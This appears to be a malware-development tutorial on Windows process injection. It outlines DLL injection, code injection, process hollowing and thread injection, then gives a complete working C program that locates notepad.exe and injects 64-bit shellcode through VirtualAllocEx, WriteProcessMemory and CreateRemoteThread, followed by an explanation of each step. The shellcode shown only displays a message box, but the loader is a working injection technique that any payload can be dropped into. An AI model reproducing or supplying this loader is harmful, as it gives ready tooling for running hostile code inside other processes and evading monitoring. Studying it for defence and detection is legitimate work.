There are several methods to perform payload injection, including:
-
DLL Injection: In this method, a malicious dynamic-link library (DLL) is loaded into a running process's address space. Once loaded, the DLL can run code within the context of the running process. This is often used to modify the behavior of a process or to use the process's permissions to perform actions that would otherwise be disallowed.
-
Code Injection: In this method, the malware writes malicious code directly into the process memory. It then modifies the execution flow of the process to execute this injected code. This is a powerful technique but it can be more easily detected than some other methods, as it involves modifying the process in memory.
-
Process Hollowing: This technique involves creating a new process in a suspended state, replacing its memory with malicious code, and then resuming the process. This technique can be used to bypass security measures that monitor the creation of new processes.
-
Thread Injection: This involves injecting malicious code into a thread of another process. This allows the code to be executed within the context of the process associated with the thread.
Main one we will focus is Code Injection.
Here is a high-level overview of the steps typically involved in code injection:
-
Identify the target process: The process you want to inject code into must first be identified. This can be done through various means such as process ID (PID), process name, or even through properties like owning user.
-
Open the target process: Once the target process is identified, it needs to be opened with appropriate permissions. This is typically done with functions like
OpenProcessin Windows, where you specify the process ID and the type of access you need (likePROCESS_ALL_ACCESS). -
Allocate memory in the target process: Next, you need to allocate memory within the target process's address space where you can write your code. This is typically done using a function like
VirtualAllocExin Windows, where you specify the process handle, the size of the memory you need, and the type of memory (typicallyPAGE_EXECUTE_READWRITEto allow the memory to be executed). -
Write the code into the allocated memory: After the memory is allocated, you can write your code into it. This is typically done using a function like
WriteProcessMemoryin Windows, where you specify the process handle, the base address of the allocated memory, a pointer to your code, and the size of your code. -
Execute the injected code: Once your code is in the target process's address space, you need to execute it. This is typically done using
CreateRemoteThreadin Windows, where you specify the process handle, a pointer to the function you want to execute (the base address of your injected code), and any arguments you want to pass to it. -
Handle the execution: Depending on the nature of your injected code, you may need to handle its execution in some way. For instance, you may need to wait for it to finish executing, or you may need to clean up resources after it's done.
- Code Example:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
// MessageBox shellcode - 64-bit
unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
pid = FindTarget("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %d\n", pid);
// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}
The above code does the following:
-
Define the payload: The binary data array
payloadis the code that will be injected into the target process. This is often called "shellcode". In this case, it seems to be a 64-bit shellcode, presumably causing a message box to be displayed, but without further analysis, it's hard to tell exactly what this shellcode does. -
Find the target process: The
FindTargetfunction uses the Windows Tool Help API to take a snapshot of the currently running processes and iterate through them. It's looking for a process with the name "notepad.exe". When it finds a match, it returns the process ID (PID) of that process. -
Inject the payload: The
Injectfunction takes a handle to the target process, the payload, and the length of the payload as parameters. It usesVirtualAllocExto allocate memory within the target process's address space,WriteProcessMemoryto write the payload into the allocated memory, and thenCreateRemoteThreadto create a new thread in the target process, starting execution at the address of the injected payload. -
Main function: The
mainfunction orchestrates everything. It first finds the PID of the target process ("notepad.exe") using theFindTargetfunction. It then opens a handle to the target process with necessary permissions (like creating a thread, VM operation, etc.) usingOpenProcess. If the process handle is valid, it proceeds to inject the payload into the target process with theInjectfunction.